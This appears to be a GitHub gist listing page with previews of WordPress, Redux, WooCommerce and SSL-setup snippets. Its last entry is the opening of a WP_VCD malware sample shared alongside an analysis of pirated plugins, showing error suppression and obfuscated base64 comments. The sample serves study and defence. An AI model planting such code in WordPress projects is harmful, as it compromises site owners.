Skip to content

Instantly share code, notes, and snippets.

@DomenicF
DomenicF / get_current_post_type.php
Last active December 5, 2022 07:11 — forked from bradvin/get_current_post_type.php
Get the current post_type context in the WordPress admin.
<?php
/**
* gets the current post type in the WordPress Admin
*/
function get_current_post_type() {
global $post, $typenow, $current_screen;
//we have a post so we can just get the post type from that
if ( $post && $post->post_type ) {
return $post->post_type;
@tzkmx
tzkmx / jquery-redux-example.js
Created August 11, 2016 23:40
Redux with jQuery simple example
// original from:https://codepen.io/mdd/pen/wGRqbw
// Reducer
const counter = (state = 0, actions) => {
switch (actions.type) {
case 'INCREMENT': return state + 1;
case 'DECREMENT': return state - 1;
default: return state
}
}
@gangsta
gangsta / SSL.md
Last active February 23, 2024 03:56
How to Setting Up a Comodo SSL Cert

How to Setting Up a Comodo SSL Cert

  • I advice you to buy SSL Certs from officially Comodo only , or some SSL reseller whose you trust.

These are the steps I went through to set up an SSL cert. Purchase the cert

Prior to purchasing a cert, you need to generate a private key, and a CSR file (Certificate Signing Request). You’ll be asked for the content of the CSR file when ordering the certificate:

openssl req -new -newkey rsa:2048 -nodes -keyout example_com.key -out example_com.csr
@cferdinandi
cferdinandi / myplugin-media.js
Last active December 6, 2023 14:23
Adding a Media Uploader to a custom metabox
/**
* Load media uploader on pages with our custom metabox
*/
jQuery(document).ready(function($){
'use strict';
// Instantiates the variable that holds the media library frame.
var metaImageFrame;
@cecilemuller
cecilemuller / 2019-https-localhost.md
Last active May 30, 2024 11:07
How to create an HTTPS certificate for localhost domains

How to create an HTTPS certificate for localhost domains

This focuses on generating the certificates for loading local virtual hosts hosted on your computer, for development only.

Do not use self-signed certificates in production ! For online certificates, use Let's Encrypt instead (tutorial).

@damiencarbery
damiencarbery / conditional-wc-email-sending.php
Last active July 30, 2023 07:32
Conditionally send WooCommerce emails: Dynamically determine whether to send a WooCommerce email. https://www.damiencarbery.com/2018/12/conditionally-disable-woocommerce-emails/
<?php
/*
Plugin Name: Conditionally send WooCommerce emails
Plugin URI: https://www.damiencarbery.com/2018/12/conditionally-disable-woocommerce-emails/
Description: Dynamically determine whether to send a WooCommerce email.
Author: Damien Carbery
Version: 0.2
*/
// The filter name is 'woocommerce_email_enabled_'.WC_Email::id e.g. 'new_order', 'cancelled_order' etc
@nczz
nczz / class.plugin-modules.php
Last active October 22, 2019 11:19
WP_VCD SAMPLE CODE 盜版軟體夾藏的病毒碼 | [WordPress] WP_VCD 盜版軟體病毒解析 > https://www.mxp.tw/8714/
<?php
//install_code1
error_reporting(0);
ini_set('display_errors', 0);
//dhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJW
DEFINE('MAX_LEVEL', 2);
//bGF5X2Vycm9ycycsIDApOwovLzJoa
DEFINE('MAX_ITERATION', 50);
//NuYm1WM1pHOXRZV2x1SjEwcEt